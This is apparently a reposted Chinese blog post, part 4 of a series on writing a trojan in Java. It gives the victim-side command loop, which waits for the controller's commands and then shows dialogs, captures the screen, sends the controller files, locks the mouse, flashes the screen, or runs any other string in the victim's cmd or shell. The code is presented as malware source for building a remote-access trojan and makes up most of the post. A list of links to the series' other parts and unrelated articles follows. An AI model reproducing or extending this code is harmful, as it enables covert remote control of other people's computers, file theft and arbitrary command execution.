java 木马开发(4)---服务端 ---接收指令函数takeOrder()
来源:互联网 发布:网络杀毒软件有哪些 编辑:程序博客网 时间:2024/06/02 16:17
本函数是核心函数,用来接收控制端自定义的命令,如果不符合自定义命令,则windows将会调用被控制端cmd,linux调用被控制端shell
//不断的循环接收控制端传来的指令,并根据指令进行判断,到达不同的控制流
void takeOrder() {while (true) {
try {
commendString = dis.readUTF().trim();
//如果前缀是exit 则退出while循环 关闭输入输出流
if (commendString.startsWith("exit")) {
end = true;
dis.close();
dos.close();
break;
}
} catch (IOException e) {
//接收指令发生异常时,则退出while循环 关闭输入输出流
System.out.println("leave");
end = true;
try {
dis.close();
dos.close();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
break;
}
//判断接收的指令 如果是以-d youarehacked 开头,服务端会弹出一个对话框,
if (commendString.startsWith("-d ")) {
try {
commendString = commendString.substring(3);
} catch (Exception ee) {
continue;
}
showDialog(commendString);//弹出一个对话框函数
} else if (commendString.startsWith("-p")) {//如果命令是以-p开头,调用被控制端屏幕被截屏
sendPic(); //截屏函数} else if (commendString.startsWith("down ")) {// 如果命令是以‘down ’开头,调用下载函数
String strFile = commendString.substring(5);
File file = new File(strFile);
// File file = new File("e:\\a.txt");
if (file.isFile())
downFile(strFile);//下载函数
} else if (commendString.startsWith("-m ")) {// 如果命令是以‘-m ’开头,则被控制端机器鼠标被锁住
try {
commendString = commendString.substring(3);
} catch (Exception ee) {
continue;
}
mouseLock(commendString); //鼠标锁住函数
} else if (commendString.startsWith("-flash")) { //如果命令是以‘-flash’开头,则被控制端机器闪屏
try {
commendString = commendString.substring(6);
} catch (Exception e) {
commendString = "";
}
new Flash(commendString); //闪屏函数
//当前面判断没有执行时,windows将会调用被控制端cmd,linux调用被控制端shell
} else {
shellExe(commendString);
}
}
}
0 0
- java 木马开发(4)---服务端 ---接收指令函数takeOrder()
- java 木马开发(6)---服务端 --- 文件下载函数
- java 木马开发(8)---服务端--- 调用平台shell去执行输入指令
- java 木马开发(5)---服务端 --- 对话框函数和截屏函数
- java 木马开发(7)---服务端---锁住鼠标函数 mouseLock 和 闪屏函数 Flash
- java 木马开发(9)---服务端 完结 完整代码
- java 木马开发(3)服务端判断为linux时的执行模块ServerLin (构造函数介绍)
- java 木马开发(1)
- 微信小程序开发之图片上传+Java服务端接收
- C#写木马服务端的开发
- 微信小程序开发(二)图片上传+服务端接收
- Java木马(2)==服务端模块(判断操作系统)
- Java-Socket接收服务端数据--中文乱码
- Java 服务端接收多图上传
- java 网络 TCP服务端接收数据 SeverSocket
- jco接口开发(java服务端代码)
- C#木马(服务端)
- JAVA服务端开发基础知识
- 算法 - 归并排序
- 隐写术总结
- 年终总结
- VMware12+Ubuntu14 共享文件夹设置
- PHP开发程序应该注意的42个优化准则
- java 木马开发(4)---服务端 ---接收指令函数takeOrder()
- 算法导论
- 教程1-创建一个窗口
- UVa 401:Palindromes
- 写在大年初一 总结2016
- 启示录:一只小白的IT路
- react-router 学习笔记
- Leedcode题解
- 神经网络 ANN(二)